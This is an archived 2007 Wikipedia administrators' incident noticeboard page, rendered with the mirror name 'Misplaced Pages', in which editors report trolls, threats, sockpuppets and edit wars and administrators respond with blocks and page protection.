Thanks for the reply, old man. As you're hinting, when taking part in discussions on any public forum it's important to bear in mind all the other people who will read your contributions. Too many people, I think, focus exclusively on the individual they're immediately replying to.

It's true that in cases like this one it can be tricky to communicate your desire to other potential participants not to continue the discussion with the troll. I don't think there is any quick and painless solution. Silence won't work. Neither will calls to Please stop!... Strident calls for everyone to send the troll to Coventry will usually be ignored ("who's he to say what I do?") and would probably violate some guideline here. However short replies to the troll along the lines of "I am not going to reply until you phrase your comments in a relatively polite and coherent manner" can be useful because the other potential participants often take the hint, especially if you are seen to be in a position of some authority. The one thing that trolls cannot tolerate is sunlight being ignored.

You probably know all this already. I'm sure I've read it somewhere; I'm not bright enough to have made it up myself! --Smalljim 16:46, 3 November 2007 (UTC)

So a quick castration and a soak in a salt bath isn't the way to go then? ---- WebHamster 19:39, 3 November 2007 (UTC)

"So a quick castration and a soak in a salt bath isn't the way to go then? ---- WebHamster 19:39, 3 November 2007 (UTC)"

I have sent a screenshot copy of your comments to the WP headquarters for review (and before you yet again delete them.) I cannot believe their reputation or credibility should continue to be damaged in this way. —Preceding unsigned comment added by 81.132.102.112 (talk) 01:24, 4 November 2007 (UTC)

To quote Sergeant Hulka, "Lighten up, Francis." Rdfox 76 01:30, 4 November 2007 (UTC)

--webhamster--

I nominated Drake_Circus_Shopping_Centrefor deletion. From the perspective of those in the Drake Circus District remember these are just some of the reasons behind Webhamsters deletion of content, references, discussion and blocking other users:-

Please see the horse's mouth for details. ---- WebHamster 13:27, 3 November 2007 (UTC)

its out of date - the same URL also states "The centre is on schedule for completion and due to be open for business on 5th October 2006."

"So far we only have your word that the website is out of date." WebHamster 21:47, 3 November 2007 (UTC)

"I repeat the website reads "The centre is on schedule for completion and due to be open for business on 5th October 2006."

Who are you to say that the article isn't informative or educational? You are being far too parochial. Two days ago I'd never heard of the place, now I've been educated on how disruptive some of the locals can be. I've been informed that the official website is a year out of date. Just because you already know the details does not mean that someone else does. You are saying a lot but yet no pointers to verifiable sources. WP does not take peoples' words for it, not yours, not mine. So back up your statements with available sources that meet WP:RS and we'll make the changes. It can't be put any simpler than that. We most certainly aren't experts on DCSC, but we do know how WP works and what is expected. Likewise from the WP standpoint you aren't an expert either, you are just some anonymous IP address, you have no verifiable credentials of your expertise. You may be a local but that's not the same thing. This being the case anything you tell us here comes under the banner of original research which is why we need verifiable sources. ---- WebHamster 13:27, 3 November 2007 (UTC)"

"Out of interest why was the link to Plymouth's other shopping mall - the Armada_Centreremoved? If it was because it had nothing to do with drake circus or was outside the area then why has the link to the drakecircus shopping centre also not been removed"

The Armada Centre was removed, based on the edit summary, because it isn't actually in the Drake Circus area WebHamster 13:38, 3 November 2007 (UTC)

"The reason you gave to justify your vandalism was 'WP is not a phone book'. In case you had failed to observe the article did not list any telephone numbers moreover it referred to a university and a musuem which most reasonably intelligent people would assume has more to do within the academic research of an encyclopedia than a promo for selling spuds. —Preceding unsigned comment added by 217.42.76.143 (talk) 14:12, 2 November 2007 (UTC)"

Stirring stuff -- I think, but I'm not entirely sure. What do you think this person's first language might be, Hamster? -- Hoary 15:26, 2 November 2007 (UTC)

The one practised by Stanley Unwin I'm guessing. It doesn't bode well for the teaching standards of UK educational establishments though. ---- WebHamster 15:41, 2 November 2007 (UTC)

You're stuck with it. I suggest you learn to live with it. The chances are it'll still be there when you've left Uni and gone on to bigger and better things. meanwhile I suggest you concentrate on things that are far more important, like avoiding being a graduate working at the Spud-U-Like you despise so much. ---- WebHamster 15:42, 31 October 2007 (UTC)

I have a reference, now where's yours, see WP:VERIFY: "The threshold for inclusion in Misplaced Pages is verifiability, not truth"? Put up or shut up. The info in the infobox came from the horse's mouth, I wonder which end of the horse yours is coming from? ---- WebHamster 01:22, 3 November 2007 (UTC)

I do not have a clue what else has been said by webhamster on other users discussion pages however i think in any discussion of 'trolling' account should be taken of the above quotes. Since i worked in the Old Drake Circus i thought i could correct some of the claims charged to my old work place however i have been subjected to a tirrade of insulting snipes from the above despite my best attempts at being polite and lucid. I suspect others like me are too intimidated to create user accounts.

Dreckly, moi 'ansum. LessHeard vanU 01:40, 4 November 2007 (UTC)

Note about impersonator User:Barnecaration, and a request for a protected page edit

An impersonator, User:Barnecaration, inappropriately responded to about 25 unblock requests from 10/31 to 11/1, and signed my name instead of their own. Since several admins replied to those users, and at least a couple of them initially thought it was me, I'd just like to make a quick, general announcement that it wasn't me (see here).

• Also, Netsnipe reverted most of their responses, but there were a couple remaining where my signature was shown on the talk page. Per Lar's suggestion, I've struck out my signature on all of them but one. User talk:PBCF is protected, so a protracted discussion between the blocked user and the faux-me is still there. Could an admin please strike out my signature, or better yet, just remove the inapplicable unblock requests? I'm an idiot, it's only semi-protected. nevermind.

Thank you. --barneca (talk) 15:41, 3 November 2007 (UTC)

Legal threat on the Helpdesk

An IP user has just posted a rant on the helpdesk. Among the text of the rant, which apparently blames Misplaced Pages for them not being able to access Google on their mobile, is a threat to contact the FCC. Now while I know that the FCC won't be able to do anything about it, I still believe it goes against WP:LEGAL. I would respond, but in these situations, I usually piss them off or make the situation worse in some other way. I believe that a sysop needs to take action. NF24_{Editor review)} 15:59, 3 November 2007 (UTC)

Blocked for 6 months. We have no place this kind of crap on Misplaced Pages. Maxim_{(talk) (contributions)} 16:08, 3 November 2007 (UTC)

At least we can get a good laugh out of it. ---J.S (T/C/WRE) 17:01, 3 November 2007 (UTC)

I would not bite a newbie. It is not a legal threat. I would have said "I am sorry that you feel that wikipedia is affecting your google access. If you have further information, please let me know. Your help in resolving this matter, even if it involves the FCC, is more productive than a potentially hostile complaint where you don't give us enough information to solve a potential problem." The user did not threaten to sue. That's a legal threat. Making an ordinary complaint is not a legal threat as much as complaining to ArbCom is not a legal threat. I would block only if the response was hostile. I do suspect this is a crank. Miesbu 18:20, 3 November 2007 (UTC)

A "legal threat" isn't only a threat of a lawsuit. It can also be a threat to call the police, a threat to contact federal authorities (such as the FCC), etc. -Jéské 21:28, 3 November 2007 (UTC)

Abusive, threatening talk page post by User:81.107.36.188

Go and die. I hope that you meet with an "accident" involving a rusty knife and a double glazed window salesman. Here's the diff. The reason was I posted a vandalism warning to the user's talk page. Lurker (said · done) 16:15, 3 November 2007 (UTC)

1 week. Maxim_{(talk) (contributions)} 16:39, 3 November 2007 (UTC)

Although of course, this is nasty vandalism; I wouldn't get worried, it's just people who think they're funny (obviously they're not). Cheers, Qst 17:31, 3 November 2007 (UTC)

Canvassing of user:Ireland101

This user is notifying ethnic Macedonian users about a vote for deletion of a few ethnic Macedonian songs. ForeignerFromTheEast 19:00, 3 November 2007 (UTC)

Possible Image Copyright Issues

Could an administrator have a look at these uploads? I don't think any of them are fair use-able, and in any case, they've all be taken off a website. I include below the post on my talk page which alerted me to the problem, as I think it explains the problem best:

You seem knowledgeable in this area, and I've noticed you've dealt with this before. I am new to the uploading of images issue. However, I've noticed an image that has been uploaded and being used on an article claiming that it is a fair-use image and a screenshot of a television program. In reality, it is not a screenshot, rather an image taken by a photographer placed on website with a policy stating "(Company Name) does not issue licenses for internet use." Obviously, this detail was not in plain view but was easy to find. How would I go about this? Again, I'm new to the images issues. I hope you can shed some light on this. Thank you.

I also think that quite a few of them may be reposted material. Is this allowed? Chase me ladies, I'm the Cavalry 19:03, 3 November 2007 (UTC)

Sakis Rouvas

I just deleted the whole article as one of the worst WP:BLP violations I seen. The whole article was unsourced fancruft, and there was a section called personal life saying that he was gay with a source of a blog, and a whole bunch of gay speculations. Need more eyes. Thanks This is a Secret 20:07, 3 November 2007 (UTC)

• Support. The article was a mess, start again form a stub was the only real option IMO. And more watchlists with that article on them would help, too. Guy (Help!) 20:09, 3 November 2007 (UTC)
  • Actually, there were decent revisions further back in the history, prior to 16 December 2006. I'll undelete the previous history and revert to that version, if you don't mind. Fut.Perf. ☼ 20:18, 3 November 2007 (UTC)
    • Oops, taking this back. The homosexuality allegations were there for much longer. Fut.Perf. ☼ 20:26, 3 November 2007 (UTC)
  • Bleh it was there since May of 2005, and before that it was re-written copyvio seems like, no salvagble version This is a Secret 20:29, 3 November 2007 (UTC)
    • Only three 2004 versions had no issue, so those are restored This is a Secret 20:35, 3 November 2007 (UTC)

Repeated harassment

It's a shame that I have to waste your time, but someone, please, have a look at what's happening to my talk page: . It seems two accounts have been created with the single purpose to harass me by false accusations: Special:Contributions/HyperColony. Special:Contributions/QuinellaAlethea. I'm certain, they'd cease their attacks, if some admin or any other long-term user asked. Thanks for your attention. --NotSarenne 20:46, 3 November 2007 (UTC)

I just consulted with User:Dmcdevit, HyperColony is on tor, and QuinellaAlethea has been blocked indefinitely for being a sock of User:Fnagaton. Fnagaton is currently unblocked. Kwsn (Ni!) 22:00, 3 November 2007 (UTC)

My greatest thanks to both of you! This is a relieving albeit sad turn of events. Until the last minute, I did not expect him to go this far and assumed it was a third-party trying to make fun of me and him. --NotSarenne 22:12, 3 November 2007 (UTC)

I'm not connected with User:QuinellaAlethea. Fnagaton 22:16, 3 November 2007 (UTC)

Is it possible that he used the same dirty trick against Sarenne before and succeeded in getting him blocked? --NotSarenne 22:52, 3 November 2007 (UTC)

Sarenne was blocked for using multiple sock puppets to do sweeping kib/mib/etc. edits across Misplaced Pages after consensus swung in a direction he didn't like, and even after when informed to cease and desist by admins. Even proponents of kib/mib/etc. usage during the MOSNUM consensus debates were calling his edits disruptive. Its all archived on the MOSNUM talk page as well as Misplaced Pages:Suspected_sock_puppets/Sarenne. Sarenne's actions got him blocked, not any "dirty tricks" by anyone. Don't confuse this situation with that. --Marty Goldberg 03:45, 4 November 2007 (UTC)

Backlog Misplaced Pages:Usernames for administrator attention

The page hasn't been marked as so yet, but nothing has happened at the page for over 20minutes. Thought I would bring it to the administrators attention before it came to be a really big problem. Rgoodermote(Respond Here) 20:57, 3 November 2007 (UTC)

I just blocked three blatant bot-reported vios. There's only one left, but with no consensus to block.Dppowell 21:12, 3 November 2007 (UTC)

Dynamic anon IP stalking 2 users

An anon editor, using a dynamic IP addy has been stalking both User:Benjiboi and myself, apparently in retaliation for edits made to Hot House Entertainment. The article has been a source of contention, and it and two others had to be semi protected. That is when the harassment on our talk pages and the stalking began. Some diffs: This is the Hot House history: A compariosn of the addresses seems to bear out that the anon stalking IP is related to the one who was editing the article. I would appreciate it if some admin could intervene, or provide some suggestions as to how to deal with this. Jeffpw 21:16, 3 November 2007 (UTC)

The IP resolves to Paterson, New Jersey. That's all the help I can give because dynamic IPs have a tendency to switch. It's a Verizon IP. -Jéské 21:26, 3 November 2007 (UTC)

Anon apparently had issue with Sister Roma's perceived anti-Catholicism stemming from her inclusion on the Folsom Street Fair poster artwork (parody of the The Last Supper). Roma works at Hot House Entertainment (hence the connection) and Sister Boom-Boom was also semi-protected for repeated vandalism. User_talk:72.68.30.122 (also 72.68.127.29, 72.76.9.19, 72.68.31.200, 72.76.79.137, 72.68.121.41, 71.127.228.185, 71.127.229.250) mass deleted the vast majority of stub Sister Roma then tagged the article as non-notable as seen here. The same was done to Hot House Entertainment porn company where Sister Roma works (seen here and to a lesser degree Sister Boom-Boom. This anon IP is either a quick learner or, more likely a sock as they seem to have advanced wikipedia editing skills and then left me this note ending the first round of vandalism. Benjiboi 21:36, 3 November 2007 (UTC)

Repeated vandalism with WP:BLP issues to Todd Stroger article

The IP 99.166.117.86 (talk · contribs) keeps reinserting a preposterous nickname with fairly serious WP:BLP implications into the Todd Stroger article. When I ran a whois on the IP, it came back as a privately owned block, licensed from AT&T (I guess?). This is the edit this person keeps inserting . Last one was Nov. 1. I've placed a warning on the talk page. Should probably keep an eye on this person. I'm also wondering, is there an ISP template for a situation like this? A geektools whois came back to a person's name, with an sbcglobal address indicated for abuse issues. Did I put the right ISP template on the talk page? Nobody of consequence 21:24, 3 November 2007 (UTC)

• I semiprotected, and I commend to you WP:RFPP in case of future occurrences. Guy (Help!) 22:44, 3 November 2007 (UTC)

Amir Abdul-Malik Ali

I've identified a number of single-purpose accounts used only to edit war for the last few months on Amir Abdul-Malik Ali (edit | talk | history | protect | delete | links | watch | logs | views):

• Sindbad4086 (talk · contribs · deleted contribs · logs · filter log · block user · block log)
• Mortimer Gleet (talk · contribs · deleted contribs · logs · filter log · block user · block log)
• Imhotep5 (talk · contribs · deleted contribs · logs · filter log · block user · block log)
• Irydhan (talk · contribs · deleted contribs · logs · filter log · block user · block log)
• Buster Friendly (talk · contribs · deleted contribs · logs · filter log · block user · block log)
• 98.207.54.164 (talk · contribs · deleted contribs · logs · filter log · block user · block log)

For now, I've only protected the article, but am welcome to ideas on what, if anything, to do with the accounts. east.718 at 21:30, 11/3/2007

This page is not to be left move unprotected

See Misplaced Pages:Requests for page protection#Misplaced Pages:Administrators' noticeboard/Incidents (edit|talk|history|links|watch|logs). Admins should not ever set any protection expiry time for this page, even if they either change their protection level to or . 75.36.255.227 22:52, 3 November 2007 (UTC)

Too bad there's no way to protect from edits for a finite amount of time, but move protect indefinitely. Feature request? feature creep? –Crazy tales talk/desk 02:18, 4 November 2007 (UTC)

The page can be only manually removed semi-protection by admins after having been protected for a certain amount of time, but should indefinitely remain move protected. Setting an expiry will result the move protection to be automatically removed from the page, once the expiration has ended. 75.36.255.227 03:41, 4 November 2007 (UTC)

Need Help

See User talk:Jéské Couriano#Fred Thompson (at the bottom of the page). Could someone give me some guidance? -Jéské 22:53, 3 November 2007 (UTC)

I've warned User:Turtlescrubber for civility. Mr.Z-man 23:39, 3 November 2007 (UTC)

User:AS 001

I ask that someone look over the contributions for User:AS 001, who does not seem to be here for the purpooses of building the encyclopedia. All of the edits from this account have been either criticizing admins or opposing the nominations for adminbots. Community input requested. RyanGerbil10(C-Town) 23:31, 3 November 2007 (UTC)

Judging by this diff, I think Newyorkbrad (talk · contribs) may be the person to ask. Viridae 23:35, 3 November 2007 (UTC)

You mean Newyorkbrad (talk · contribs), right? -Jéské 23:40, 3 November 2007 (UTC)

Bah, I screwed that up twice. Viridae 23:42, 3 November 2007 (UTC)

And based on this diff, he would appear to be a sock of banned user Bill Ayer (talk · contribs). He was also created 47 minutes after Bill's indef block. Someguy1221 23:41, 3 November 2007 (UTC)

Lol I wondered why there was a banned and sock template. Viridae 23:43, 3 November 2007 (UTC)

Allowal to be part of Caisson discussion

For the past two weeks a debate has been occurring on the Caisson (Asian architecture) article. On one side is PalaceGuard008, and on the other, Mattisse. I have attempted to provide solutions for the argument and that is visible on the article's Discussion page. Unfortunately, I have run into conflicts with the admin LessHeardVanU who seems to believe that I am harassing Mattisse, and he subsequently issued a warning and a recent block that were both wrongfully conceived. Perhaps I should have contested the warning before, and this would not have occurred, but my words fell on deaf ears so I did not press it further. Either way, I would like it to be known and stated that I have not committed any wrongful acts on the Caisson page and have only tried to help as a peer and concerned Wikipedian. In the future, I may ask for the warning and block issued by LessHeardVanU be revoked, but for now I wish for a declaration that I can go back to contributing to the Caisson article. - Cyborg Ninja 00:17, 4 November 2007 (UTC)

Review of Mattisse's Talk page

Mattisse was recently blocked by the admin LessHeardVanU after LessHeardVanU viewed the posting to AN/I I made several days ago about Mattisse's treatment of another user. The block was for 24 hours. However, after viewing the user's Talk page , I believe the block should extend further and a review of the user's sockpuppets should be made if technically feasible. Much of the improper conduct is directed toward LessHeardVanU, but extends to other users as well, including myself. Though LessHeardVanU is willing to look the other way, at the same time he is ignoring years of misconduct by this user and her recent insults to other users. The administration should not turn a blind eye to this kind of conduct. - Cyborg Ninja 01:10, 4 November 2007 (UTC)

Included is a threat to user Blueboar, who was originally the victim of the subject of the previously stated AN/I posting.

Blueboar, you have no credibility with me. I will cause you endless misery if I am unblocked. Please make sure I am not. You are a hypocrite and I have no respect for you sanctimonious two-faced attitude. I did everything I could to get through to you to no avail. Pleaded with you for help.

Now I am saying, you better make sure I am blocked forever. I will never contribute anything constructive to Misplaced Pages again. It is in your interest to have me blocked forever. Remember that. So do it. --Mattisse 02:01, 1 November 2007 (UTC)

Cyborg Ninja (talk · contribs · deleted contribs · nuke contribs · logs · filter log · block user · block log) neglects to mention that I also blocked their account for violating a warning I gave in regard to harassing User:Mattisse by attempting to create disruption on articles and in user talkpages previously edited or interacted with by Mattisse. Cyborg Ninja also left this message on my talkpage regarding said block - I'm a little confused that I am now being used as an example by Cyborg Ninja in a complaint regarding Mattisse... My review and block of Mattisse, and Mattisse's subsequent posts in relation to it with me and other editors, is nothing to do with Cyborg Ninja; but serves as an indication of the level of obsession this editor seems to demonstrate with the other. Whatever problems I may think that Mattisse has with their interaction with some other contributors I recognise that they produce a lot of good quality content for the encyclopedia. I feel that Cyborg Ninja should be encouraged to turn their attention to help building the encyclopedia and to drop the matter of the edits of Mattisse. LessHeard vanU 01:57, 4 November 2007 (UTC)

The specific edit in question is this one. -- Finlay McWalter | Talk 01:57, 4 November 2007 (UTC)

That comment was made in anger, after I blocked, and was later rescinded and removed with the help of another admin. LessHeard vanU 02:00, 4 November 2007 (UTC)

That would be me I think, the two most inflammatory things are gone now... I'm not sure how this is all going to play out but I'd advise just waiting and seeing, for a while at least. Cyborg Ninja, if Less is cool, you should be too. Let's just everyone see what happens for now, eh? ++Lar: t/c 02:57, 4 November 2007 (UTC)

I'm disappointed that an administrator such as you, LessHeard, would think that my actions are not in good faith. Anyone, frankly, can see how offensive and disturbing Mattisse's behavior is, and your attempt to claim that I'm somehow "obsessed" is not the type of behavior appropriate of an administrator. You yourself saw that my AN/I posting from several days ago about Mattisse's attack on Blueboar was legitimate, and yet you have never thanked me for notifying the administration it. Instead, you continued with your subsequent block of me to tell me to "use appropriate avenues." Apparently asking for an informal arbitration for Caisson (Asian architecture), and then a formal one, and then creating an AN/I posting after days of attempting to forgive, is evidence of "stalking" and "harassment" to you. You see, I believe that the stronger person ignores insults from others to them, but will not stand idly by when others are insulted and harassed. That is a quality of a strong, personable human being. Not an "obsessed" one. By the way, as for me leaving out how I was blocked, look DIRECTLY ABOVE YOU. - Cyborg Ninja 02:55, 4 November 2007 (UTC)

In addition, this issue is not resolved until other administrators become involved due to your conflict of interest, which you yourself cited in a previous discussion about a week ago. Even if there were none, your judgment seems severely flawed here and I plead to other administrators to review Mattisse's history, including 18 known sockpuppet accounts (and more), multiple conflicts with other users besides myself, and current use of threats and vile insults before considering this matter resolved. Once again, the type of behavior visible on the user's talk page is not at all indicative of a worthy Wikipedian contributor, and bare in mind the majority of the user's edits consist of adding citation tags, up to the amount of 300+ a day. - Cyborg Ninja 03:01, 4 November 2007 (UTC)

User:Perspicacite/Frank Gaffney

I have tried to engage User:Perspicacite on a friendly and professional level (see ) and asked why he continues to categorize Frank Gaffney as a Jewish-American politician, when Mr. Gaffney is neither to the best of my knowledge, and also why he deletes other valid categories. Perspicacite blanked all my comments and questions from his talkpage, refused to respond on my talk page, reinserted the category without explanation and accused me in an edit summary of spamming his talk page (see ). This person is behaving entirely withough good faith and appears to be extremely arrogant. Please check this matter out. Thanks. Maplewooddrive 01:17, 4 November 2007 (UTC)

Gaffney worked in the Reagan administration as Assistant Secretary of Defense. Gaffney is Jewish. Therefore, surprise surprise, he is categorized as a Jewish-American politician. Maplewooddrive felt it was necessary to post a lengthy, incoherent complaint about my reversion of another user's vandalism. His only edit to the Frank Gaffney article was this. His... contribution only made the article worse. Perspicacite 01:32, 4 November 2007 (UTC)

Which of the sources cited by the article supports your claim as to the subject's religion? -- Finlay McWalter | Talk 01:52, 4 November 2007 (UTC)

Exactly my point. Where is the evidence that Gaffney, against all probability, is Jewish. Perspicacite refuses to provide a reference for this, meaning possible original research or private knowledge, at best. Also, a politician is someone who is elected to public office, no?

What is more, Perspicacite has misrepresented my edits, which were meant to improve the article, including the new categories which he himself acknowledged in one of his edit summaries. I really hate to sound shrill, but Perspicacite refusal to respond on my talk page and discuss the matter one on one left me no choice but to come to WP:AN/I. Maplewooddrive 01:59, 4 November 2007 (UTC)

Maplewooddrive, you were reverted because your edits are poor. A user complaining about other editors engaging in "bad-faith" reversions would be wise not to call the user "arrogant" in the complaint. Some would interpret that as a personal attack. Stop wasting my time. Perspicacite 04:04, 4 November 2007 (UTC)

It's not clear to me what you're asking administrators to do, Maplewooddrive. Perhaps you would find some part of dispute resolution more appropriate to your needs? And a pinch of WP:COOL might help you. That said, I'd like to suggest to Perspicacite that you show a little more civility to people trying to work on the same articles as you. All our articles should be sourced, so if somebody asks you for the source to an edit, you should be prepared to give him one. To my eye, your behavior and comments to Maplewooddrive look very BITE-y. William Pietri 04:09, 4 November 2007 (UTC)

It may be that Perspicacite should be asked to enter into a dialogue with fellow editors in a more collegiate manner rather than just expunging (valid) comments and questions he has no legitimate answer to.

(There have been similar problems with Perspicacite at the Tokelau article with US versions of English and dates being introduced to an article on a Commonwealth country and the deletion without consensus of a relevant image and conversion templates.) Alice.S 04:54, 4 November 2007 (UTC)

I would concur here. The diff shown displays Perspicacite reverting back to a version of the article containing improper grammar and misspellings, which is extremely disruptive. Other diffs show Perspicacite being uncivil and ignoring good faith attempts to reach out by other editors. K. Scott Bailey 05:01, 4 November 2007 (UTC)

That would seem like a step forward to me. Although it can sometimes be reasonable to delete sections that one is done with, I think that works best with notes from good pals who expect no reply. To strangers or those trying to have a conversation, it can seem hostile, which I'm sure is an impression Perspicacite wouldn't want to give. Would you be willing to give it a try, Perspicacite? If it helps, I'll add my request to the others here. Thanks, William Pietri 05:08, 4 November 2007 (UTC)

Uncivil behaviour

I am being targeted with uncivil behaviour from Cyrus XIII.

I added templates to the Dir en grey article, as I feel the article needs minor adjustments to meet the Misplaced Pages guidelines.

Cyrus XIII has continued to vandalise my posts, which were meant to improve the article. The Dir en grey article has original research, misinterpreted citations, and is becoming a news release for the topic. The lead paragraph in-particular has a misinterpreted citation.

I requested the use of the talk page, and had to give a friendly warning to Cyrus XIII on his/her talk page, after they called my contribution "crap" and made ill-considered accusations.

I warned this user again, because they have since repeatedly made ill-considered accusations; by modifying my signature to make it seem like I am a different editor. I have asked Cyrus XIII to stop their uncivil behaviour, and directed them to various Misplaced Pages policies. This user has since vandalised the same article, and seems to want to cause an edit war.

I request that an admin please intervene, by imposing minor disciplinary action on Cyrus XIII if necessary, and to investigate my claims to improve the Dir en grey article to meet Misplaced Pages guidelines. Information can be found at at the heading Unencyclopedic content. There are also warnings on Cyrus XIII's talk page. Update: This sentence in-particular "and are among the Japanese musicians who have enjoyed notable success in Europe and North America." in the lead paragraph; is unnecessary, and its references say nothing of the sort. 122.49.135.245 04:38, 4 November 2007 (UTC)

Hello, 122.49.135.245. From the Dir en grey talk page, it seems that Cyrus XIII believes you are a user repeatedly blocked for three-revert rule violations and ban evasion through editing anonymously. What truth is there to that belief? Thanks, William Pietri 04:50, 4 November 2007 (UTC)

(edit conflict)A quick review of the article in question and the edit patterns of the involved parties shows that this anonymous editor is most likely an IP sock of Jun kaneko (talk · contribs · logs · block log). --Kralizec! (talk) 04:53, 4 November 2007 (UTC)

William Pietri, occasionally when I visit the Misplaced Pages, there will be a new message waiting. Mostly it is about a dispute I have no knowledge about, and in rare cases, I am even blocked from editing. In fact, I remember the first time I went to edit an article, my IP was blocked. That was early last year. Cyrus XIII was politely informed about making ill-considered accusations, as I don't appreciate being called a fraud, nor do I like my contributions being disregarded as "crap"

I also don't appreciate your post Kralizec, as you're making assumptions and assuming bad faith. 122.49.135.245 05:28, 4 November 2007 (UTC)

Please edit my edit summaries on 3 pages

I accidentally put the wrong edit summary on my edits of these pages:

Grafting
Leeds Grammar School
Reception

I thought I had "Fixed link(s) to disambig page (])" in my paste buffer, but instead I had an URL. Can you please fix them that so that the URL is no longer in the edit summaries? Thanks. Auntof6 05:03, 4 November 2007 (UTC)

You could just make a null edit (like adding a space) with a clarifying edit summary if this really bothers you, as admins can't change edit summaries anyway. And although I wouldn't be surprised if oversights could modify them, they generally reserve their superpowers for removing personal identification or contact information. Someguy1221 05:15, 4 November 2007 (UTC)

I was just about to say the same thing as Someguy1221. I don't think the edit summary leaks more information than a nosy person could guess, so I personally wouldn't worry about it. But if you're concerned, I think Misplaced Pages:Requests for oversight is the place to start. Regardless, thanks for being diligent about edit summaries. Thanks, William Pietri 05:24, 4 November 2007 (UTC)

User:199.125.109.56

I attempted an Rfc recently to establish some consensus on the solar energy page regarding picture choices. The results of the Rfc were relatively clear but this IP user has disregarded the results and appears to be willfully avoiding the consensus process. This sort of general disruptive behavior has been going on for several months but as a new user I’ve been slow to gain some of the conflict resolution tools required in these situations. I'm posting here after attempting the Rfc process and then asking for futher help on the Editor assistance/Requests page. Thanks for any help or advice. Mrshaba 05:21, 4 November 2007 (UTC)